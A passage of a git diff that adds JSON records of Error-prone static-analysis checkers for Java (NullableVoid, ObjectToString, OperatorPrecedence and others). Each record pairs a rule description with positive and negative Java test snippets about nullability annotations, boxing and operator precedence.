1, b ? null : 0);\n // BUG: Diagnostic contains:\n h(\"\", 1, b ? null : 0, 3);\n // BUG: Diagnostic contains:\n int z = 0 + (b ? null : 1);\n // BUG: Diagnostic contains:\n z = (b ? null : 1) + 0;\n }\n\n void g(String s, int y) {}\n\n void h(String s, int... y) {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "class Test {\n void f(boolean b) {\n int x = b ? 0 : 1;\n Integer y = b ? 0 : null;\n g(\"\", b ? 1 : 0);\n h(\"\", 1, b ? 1 : 0);\n h(\"\", 1, b ? 1 : 0, 3);\n int z = 0 + (b ? 0 : 1);\n boolean t = (b ? 0 : null) == Integer.valueOf(0);\n }\n\n void g(String s, int y) {}\n\n void h(String s, int... y) {}\n }" + }, + { + "description": "lambdas", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "class Test {\n interface I {\n int f();\n }\n\n interface J {\n Integer f();\n }\n\n interface K {\n X f();\n }\n\n void f(boolean b) {\n I i =\n () -> {\n // BUG: Diagnostic contains:\n return b ? null : 1;\n };\n J j =\n () -> {\n return b ? null : 1;\n };\n K k =\n () -> {\n return b ? null : 1;\n };\n // BUG: Diagnostic contains:\n i = () -> b ? null : 1;\n j = () -> b ? null : 1;\n k = () -> b ? null : 1;\n }\n }" + }, + { + "description": "conditionalInCondition", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "class Test {\n void conditionalInCondition(Object array, String input) {\n int arrayDimensions =\n ((array != null ? input : null) == null) ? 0 : (array != null ? input : null).length();\n }\n}" + }, + { + "description": "expressionSwitch_doesNotCrash", + "expected-problems": null, + "expected-linenumbers": [ + 147 + ], + "code": "class Test {\n static String doStuff(SomeEnum enumVar) {\n return switch (enumVar) {\n case A -> enumVar.name() != null ? \"AAA\" : null;\n default -> null;\n };\n }\n\n static enum SomeEnum {\n A,\n B\n }\n }" + }, + { + "description": "nullTernaryInSwitch_negative", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "class Test {\n String f(int n) {\n return switch (n) {\n case 0 -> \"zero\";\n default -> (n % 2 == 0) ? \"even\" : null;\n };\n }\n }" + }, + { + "description": "nullTernaryInSwitch_positive", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "class Test {\n int f(int n) {\n return switch (n) {\n default -> {\n // BUG: Diagnostic contains:\n yield (n % 2 == 0) ? 0 : null;\n }\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableConstructor.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableConstructor.json new file mode 100644 index 0000000..4a17410 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableConstructor.json @@ -0,0 +1,46 @@ +{ + "name": "NullableConstructor", + "language": "java", + "description": "Constructors should not be annotated with @Nullable since they cannot return null", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n // BUG: Diagnostic contains: Constructors should not be annotated with @Nullable\n @Nullable\n public Test() {}\n }" + }, + { + "description": "negativeNotAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "class Test {\n public Test() {}\n }" + }, + { + "description": "negativeNotConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n @Nullable\n public int f() {\n return 42;\n }\n }" + }, + { + "description": "typeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Retention(RetentionPolicy.RUNTIME)\n @Target(ElementType.TYPE_USE)\n public @interface Nullable {}\n \n\n class Test {\n <@Nullable T> Test(T t) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableOnContainingClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableOnContainingClass.json new file mode 100644 index 0000000..c31c067 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableOnContainingClass.json @@ -0,0 +1,70 @@ +{ + "name": "NullableOnContainingClass", + "language": "java", + "description": "Type-use nullability annotations should annotate the inner class, not the outer class (e.g., write `A.@Nullable B` instead of `@Nullable A.B`).", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 104, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "annotationNotNamedNullable_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n\n class A {\n @Target(TYPE_USE)\n @interface Anno {}\n\n class B {}\n\n void test(@Anno A.B x) {}\n\n void test2(A.@Anno B x) {}\n }" + }, + { + "description": "annotationNotExclusivelyTypeUse_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "import static java.lang.annotation.ElementType.PARAMETER;\n import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n\n class A {\n @Target({PARAMETER, TYPE_USE})\n @interface Nullable {}\n\n static class B {}\n\n void test(@Nullable A.B x) {}\n }" + }, + { + "description": "annotationParameterOnly_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "import static java.lang.annotation.ElementType.PARAMETER;\n import java.lang.annotation.Target;\n\n class A {\n @Target(PARAMETER)\n @interface Nullable {}\n\n class B {}\n\n void test(@Nullable A.B x) {}\n }" + }, + { + "description": "annotationNamedNullable_annotatingOuterClass", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n import java.util.List;\n\n class A {\n @Target(TYPE_USE)\n @interface Nullable {}\n\n class B {}\n\n // BUG: Diagnostic contains: A.@Nullable B\n void test(@Nullable A.B x) {}\n\n // BUG: Diagnostic contains: List< A.@Nullable B>\n void test2(List<@Nullable A.B> x) {}\n }" + }, + { + "description": "annotationNamedNullable_annotatingOuterClass_canAnnotateTypeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "import static java.lang.annotation.ElementType.TYPE_PARAMETER;\n import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n import java.util.List;\n\n class A {\n @Target({TYPE_USE, TYPE_PARAMETER})\n @interface Nullable {}\n\n class B {}\n\n // BUG: Diagnostic contains: A.@Nullable B\n void test(@Nullable A.B x) {}\n\n // BUG: Diagnostic contains: List< A.@Nullable B>\n void test2(List<@Nullable A.B> x) {}\n }" + }, + { + "description": "annotationNamedNullable_annotatingInImplements", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n import java.util.List;\n\n interface A {\n @Target(TYPE_USE)\n @interface Nullable {}\n\n // BUG: Diagnostic contains: A.@Nullable B\n abstract class B implements List<@Nullable A.B> {}\n }" + }, + { + "description": "annotationNamedNullable_annotatingInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "import static java.lang.annotation.ElementType.TYPE_USE;\n import java.lang.annotation.Target;\n\n class A {\n @Target(TYPE_USE)\n @interface Nullable {}\n\n class B {}\n\n void test(A.@Nullable B x) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableOptional.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableOptional.json new file mode 100644 index 0000000..b8ef550 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableOptional.json @@ -0,0 +1,86 @@ +{ + "name": "NullableOptional", + "language": "java", + "description": "Using an Optional variable which is expected to possibly be null is discouraged. It is best to indicate the absence of the value by assigning it an empty optional.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "optionalFieldWithNullableAnnotation_showsError", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.util.Optional;\n import javax.annotation.Nullable;\n\n final class Test {\n // BUG: Diagnostic contains:\n @Nullable private Optional foo;\n }" + }, + { + "description": "guavaOptionalFieldWithNullableAnnotation_showsError", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "import com.google.common.base.Optional;\n import javax.annotation.Nullable;\n\n final class Test {\n @Nullable\n // BUG: Diagnostic contains:\n private Optional foo;\n }" + }, + { + "description": "methodReturnsOptionalWithNullableAnnotation_showsError", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import java.util.Optional;\n import javax.annotation.Nullable;\n\n final class Test {\n @Nullable\n // BUG: Diagnostic contains:\n private Optional foo() {\n return Optional.empty();\n }\n }" + }, + { + "description": "methodReturnsOptionalWithAnotherNullableAnnotation_showsError", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "import java.util.Optional;\n import org.jspecify.annotations.Nullable;\n\n final class Test {\n @Nullable\n // BUG: Diagnostic contains:\n private Optional foo() {\n return Optional.empty();\n }\n }" + }, + { + "description": "methodHasNullableOptionalAsParameter_showsError", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import java.util.Optional;\n import javax.annotation.Nullable;\n\n final class Test {\n // BUG: Diagnostic contains:\n private void foo(@Nullable Optional optional) {}\n }" + }, + { + "description": "objectFieldWithNullableAnnotation_noError", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "import javax.annotation.Nullable;\n\n final class Test {\n @Nullable Object field;\n }" + }, + { + "description": "methodReturnsNonOptionalWithNullableAnnotation_noError", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "import javax.annotation.Nullable;\n\n final class Test {\n @Nullable\n private Object foo() {\n return null;\n }\n }" + }, + { + "description": "methodReturnsNonOptionalWithAnotherNullableAnnotation_noError", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "import org.jspecify.annotations.Nullable;\n\n final class Test {\n @Nullable\n private Object foo() {\n return null;\n }\n }" + }, + { + "description": "methodHasNullableNonOptionalAsParameter_noError", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "import org.jspecify.annotations.Nullable;\n\n final class Test {\n private void foo(@Nullable Object object) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableVoid.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableVoid.json new file mode 100644 index 0000000..e4f08ed --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableVoid.json @@ -0,0 +1,62 @@ +{ + "name": "NullableVoid", + "language": "java", + "description": "void-returning methods should not be annotated with nullness annotations, since they cannot return null", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 52, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n // BUG: Diagnostic contains:\n @Nullable\n void f() {}\n }" + }, + { + "description": "positiveConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n // BUG: Diagnostic contains:\n @Nullable\n Test() {}\n }" + }, + { + "description": "positiveCheckForNull", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "import javax.annotation.CheckForNull;\n\n class Test {\n // BUG: Diagnostic contains:\n @CheckForNull\n void f() {}\n }" + }, + { + "description": "negativeNotAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class Test {\n public void f() {}\n }" + }, + { + "description": "negativeBoxedVoid", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n @Nullable\n Void f() {\n return null;\n }\n }" + }, + { + "description": "typeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Retention(RetentionPolicy.RUNTIME)\n @Target(ElementType.TYPE_USE)\n public @interface Nullable {}\n \n\n class Test {\n <@Nullable T> void f(T t) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectEqualsForPrimitives.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectEqualsForPrimitives.json new file mode 100644 index 0000000..bd782ca --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectEqualsForPrimitives.json @@ -0,0 +1,102 @@ +{ + "name": "ObjectEqualsForPrimitives", + "language": "java", + "description": "Avoid unnecessary boxing by using plain == for primitive types.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "boxedIntegers", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean doTest(Integer a, Integer b) {\n return Objects.equals(a, b);\n }\n }" + }, + { + "description": "boxedAndPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean doTest(Integer a, int b) {\n return Objects.equals(a, b);\n }\n }" + }, + { + "description": "primitiveAndBoxed", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean doTest(int a, Integer b) {\n return Objects.equals(a, b);\n }\n }" + }, + { + "description": "objects", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean doTest(Object a, Object b) {\n return Objects.equals(a, b);\n }\n }" + }, + { + "description": "primitives", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean testBooleans(boolean a, boolean b) {\n return Objects.equals(a, b);\n }\n\n private static boolean testInts(int a, int b) {\n return Objects.equals(a, b);\n }\n\n private static boolean testLongs(long a, long b) {\n return Objects.equals(a, b);\n }\n }\n \n\n import java.util.Objects;\n\n public class Test {\n private static boolean testBooleans(boolean a, boolean b) {\n return (a == b);\n }\n\n private static boolean testInts(int a, int b) {\n return (a == b);\n }\n\n private static boolean testLongs(long a, long b) {\n return (a == b);\n }\n }" + }, + { + "description": "primitivesNegated", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean testBooleans(boolean a, boolean b) {\n return !Objects.equals(a, b);\n }\n\n private static boolean testInts(int a, int b) {\n return !Objects.equals(a, b);\n }\n\n private static boolean testLongs(long a, long b) {\n return !Objects.equals(a, b);\n }\n }\n \n\n import java.util.Objects;\n\n public class Test {\n private static boolean testBooleans(boolean a, boolean b) {\n return !(a == b);\n }\n\n private static boolean testInts(int a, int b) {\n return !(a == b);\n }\n\n private static boolean testLongs(long a, long b) {\n return !(a == b);\n }\n }" + }, + { + "description": "intAndLong", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean doTest(int a, long b) {\n return Objects.equals(a, b);\n }\n }\n \n\n import java.util.Objects;\n\n public class Test {\n private static boolean doTest(int a, long b) {\n return (a == b);\n }\n }" + }, + { + "description": "doubles", + "expected-problems": null, + "expected-linenumbers": [ + 221 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean testDoubles(double a, double b) {\n return Objects.equals(a, b);\n }\n }" + }, + { + "description": "doubleAndFloat", + "expected-problems": null, + "expected-linenumbers": [ + 239 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean testDoubles(double a, float b) {\n return Objects.equals(a, b);\n }\n }" + }, + { + "description": "doubleAndLong", + "expected-problems": null, + "expected-linenumbers": [ + 257 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean testDoubles(double a, long b) {\n return Objects.equals(a, b);\n }\n }" + }, + { + "description": "floatAndLong", + "expected-problems": null, + "expected-linenumbers": [ + 275 + ], + "code": "import java.util.Objects;\n\n public class Test {\n private static boolean testDoubles(float a, long b) {\n return Objects.equals(a, b);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectToString.json new file mode 100644 index 0000000..497aa0b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectToString.json @@ -0,0 +1,46 @@ +{ + "name": "ObjectToString", + "language": "java", + "description": "Calling toString on Objects that don't override toString() doesn't provide useful information", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 3, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 41 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class ObjectToStringPositiveCases {\n\n public static final class FinalObjectClassWithoutToString {}\n\n public static final class FinalGenericClassWithoutToString {}\n\n void directToStringCalls() {\n FinalObjectClassWithoutToString finalObjectClassWithoutToString =\n new FinalObjectClassWithoutToString();\n // BUG: Diagnostic contains: ObjectToString\n System.out.println(finalObjectClassWithoutToString.toString());\n }\n\n void genericClassShowsErasure() {\n FinalGenericClassWithoutToString finalGenericClassWithoutToString =\n new FinalGenericClassWithoutToString<>();\n // BUG: Diagnostic contains: `FinalGenericClassWithoutToString@\n System.out.println(finalGenericClassWithoutToString.toString());\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport org.joda.time.Duration;\n\n/**\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\npublic class ObjectToStringNegativeCases {\n\n public static final class FinalObjectClassWithoutToString {}\n\n public static class NonFinalObjectClassWithoutToString {}\n\n public static final class FinalObjectClassWithToString {\n\n @Override\n public String toString() {\n return \"hakuna\";\n }\n }\n\n public static class NonFinalObjectClassWithToString {\n\n @Override\n public String toString() {\n return \"matata\";\n }\n }\n\n public void log(Object o) {\n System.out.println(o.toString());\n }\n\n void directToStringCalls() {\n NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString =\n new NonFinalObjectClassWithoutToString();\n System.out.println(nonFinalObjectClassWithoutToString.toString());\n\n FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString();\n System.out.println(finalObjectClassWithToString.toString());\n\n NonFinalObjectClassWithToString nonFinalObjectClassWithToString =\n new NonFinalObjectClassWithToString();\n System.out.println(nonFinalObjectClassWithToString.toString());\n }\n\n void callsTologMethod() {\n FinalObjectClassWithoutToString finalObjectClassWithoutToString =\n new FinalObjectClassWithoutToString();\n log(finalObjectClassWithoutToString);\n\n NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString =\n new NonFinalObjectClassWithoutToString();\n log(nonFinalObjectClassWithoutToString);\n\n FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString();\n log(finalObjectClassWithToString);\n\n NonFinalObjectClassWithToString nonFinalObjectClassWithToString =\n new NonFinalObjectClassWithToString();\n log(nonFinalObjectClassWithToString);\n }\n\n public void overridePresentInAbstractClassInHierarchy(Duration durationArg) {\n String unusedString = Duration.standardSeconds(86400).toString();\n System.out.println(\"test joda string \" + Duration.standardSeconds(86400));\n\n unusedString = durationArg.toString();\n System.out.println(\"test joda string \" + durationArg);\n }\n}\\" + }, + { + "description": "incompleteClasspath", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "" + }, + { + "description": "qualifiedName", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "class A {\n static final class B {}\n }\n \n\n class C {\n String test() {\n // BUG: Diagnostic contains: A.B\n return new A.B().toString();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectsHashCodePrimitive.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectsHashCodePrimitive.json new file mode 100644 index 0000000..6aa3357 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectsHashCodePrimitive.json @@ -0,0 +1,118 @@ +{ + "name": "ObjectsHashCodePrimitive", + "language": "java", + "description": "Objects.hashCode(Object o) should not be passed a primitive value", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "hashCodeIntLiteral", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n int y = Objects.hashCode(3);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n int y = Integer.hashCode(3);\n }\n }" + }, + { + "description": "hashCodeByte", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n byte x = 3;\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n byte x = 3;\n int y = Byte.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeShort", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n short x = 3;\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n short x = 3;\n int y = Short.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeInt", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n int x = 3;\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n int x = 3;\n int y = Integer.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeLong", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n long x = 3;\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n long x = 3;\n int y = Long.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeFloat", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n float x = 3;\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n float x = 3;\n int y = Float.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeDouble", + "expected-problems": null, + "expected-linenumbers": [ + 209 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n double x = 3;\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n double x = 3;\n int y = Double.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeChar", + "expected-problems": null, + "expected-linenumbers": [ + 239 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n char x = 'C';\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n char x = 'C';\n int y = Character.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeBoolean", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "import java.util.Objects;\n\n class Test {\n void f() {\n boolean x = true;\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n void f() {\n boolean x = true;\n int y = Boolean.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeClassVariable", + "expected-problems": null, + "expected-linenumbers": [ + 299 + ], + "code": "import java.util.Objects;\n\n class Test {\n boolean x = true;\n\n void f() {\n int y = Objects.hashCode(x);\n }\n }\n \n\n import java.util.Objects;\n\n class Test {\n boolean x = true;\n\n void f() {\n int y = Boolean.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeObjectNegative", + "expected-problems": null, + "expected-linenumbers": [ + 331 + ], + "code": "import java.util.Objects;\n\n class Test {\n Object o = new Object();\n\n void f() {\n int y = Objects.hashCode(o);\n }\n }" + }, + { + "description": "hashCodeBoxedPrimitiveNegative", + "expected-problems": null, + "expected-linenumbers": [ + 351 + ], + "code": "import java.util.Objects;\n\n class Test {\n Integer x = Integer.valueOf(3);\n\n void f() {\n int y = Objects.hashCode(x);\n }\n }" + }, + { + "description": "hashCodeOtherMethodNegative", + "expected-problems": null, + "expected-linenumbers": [ + 371 + ], + "code": "import java.util.Objects;\n\n class Test {\n Integer x = Integer.valueOf(3);\n\n void f() {\n int y = x.hashCode();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OperatorPrecedence.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OperatorPrecedence.json new file mode 100644 index 0000000..3325b5f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OperatorPrecedence.json @@ -0,0 +1,86 @@ +{ + "name": "OperatorPrecedence", + "language": "java", + "description": "Use grouping parenthesis to make the operator precedence explicit", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 135, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n boolean f(boolean a, boolean b, boolean c) {\n // BUG: Diagnostic contains: (a && b) || c\n boolean r = a && b || c;\n // BUG: Diagnostic contains: a || (b && c)\n r = a || b && c;\n // BUG: Diagnostic contains: a || (b && c) || !(b && c)\n r = a || b && c || !(b && c);\n return r;\n }\n\n int f(int a, int b) {\n // BUG: Diagnostic contains: (a + b) << 2\n return a + b << 2;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "class Test {\n int f(int a, int b) {\n int r = a + a * b;\n return r;\n }\n\n boolean f(boolean a, boolean b) {\n boolean r = (a && b) || (!a && !b);\n r = (a = a && b);\n return r;\n }\n }" + }, + { + "description": "positiveNotSpecialParenthesisCase", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "class Test {\n boolean f(boolean a, boolean b, boolean c, boolean d, boolean e) {\n boolean r = a || (b && c) && (d && e);\n return r;\n }\n\n int f2(int a, int b, int c, int d) {\n int e = a << (b + c) + d;\n return e;\n }\n\n boolean f3(boolean a, boolean b, boolean c, boolean d, boolean e) {\n boolean r = a || b && c;\n return r;\n }\n }\n \n\n class Test {\n boolean f(boolean a, boolean b, boolean c, boolean d, boolean e) {\n boolean r = a || ((b && c) && (d && e));\n return r;\n }\n\n int f2(int a, int b, int c, int d) {\n int e = a << (b + c + d);\n return e;\n }\n\n boolean f3(boolean a, boolean b, boolean c, boolean d, boolean e) {\n boolean r = a || (b && c);\n return r;\n }\n }" + }, + { + "description": "extraParenthesis", + "expected-problems": null, + "expected-linenumbers": [ + 129 + ], + "code": "class Test {\n void f(boolean a, boolean b, boolean c, boolean d, boolean e) {\n boolean g = (a || (b && c && d) && e);\n }\n }\n \n\n class Test {\n void f(boolean a, boolean b, boolean c, boolean d, boolean e) {\n boolean g = (a || (b && c && d && e));\n }\n }" + }, + { + "description": "rightAndParenthesis", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "class Test {\n void f(boolean a, boolean b, boolean c, boolean d) {\n boolean g = a || b && (c && d);\n }\n }\n \n\n class Test {\n void f(boolean a, boolean b, boolean c, boolean d) {\n boolean g = a || (b && c && d);\n }\n }" + }, + { + "description": "leftAndParenthesis", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "class Test {\n void f(boolean a, boolean b, boolean c, boolean d) {\n boolean g = a || (b && c) && d;\n }\n }\n \n\n class Test {\n void f(boolean a, boolean b, boolean c, boolean d) {\n boolean g = a || (b && c && d);\n }\n }" + }, + { + "description": "aLotOfParenthesis", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "class Test {\n void f(boolean a, boolean b, boolean c, boolean d, boolean e) {\n boolean g = (a || (b && c && d) && e);\n }\n }\n \n\n class Test {\n void f(boolean a, boolean b, boolean c, boolean d, boolean e) {\n boolean g = (a || (b && c && d && e));\n }\n }" + }, + { + "description": "conditionalBoolean", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "class Test {\n void f(boolean a, boolean b, boolean c, boolean d) {\n boolean g = a || b ? c : d;\n g = a && b ? c : d;\n g = a == b ? c : d;\n }\n }\n \n\n class Test {\n void f(boolean a, boolean b, boolean c, boolean d) {\n boolean g = (a || b) ? c : d;\n g = (a && b) ? c : d;\n g = a == b ? c : d;\n }\n }" + }, + { + "description": "conditionOtherType", + "expected-problems": null, + "expected-linenumbers": [ + 253 + ], + "code": "class Test {\n void f(boolean a, boolean b, String c, String d) {\n String g = a || b ? c : d;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalEquality.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalEquality.json new file mode 100644 index 0000000..cfabb14 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalEquality.json 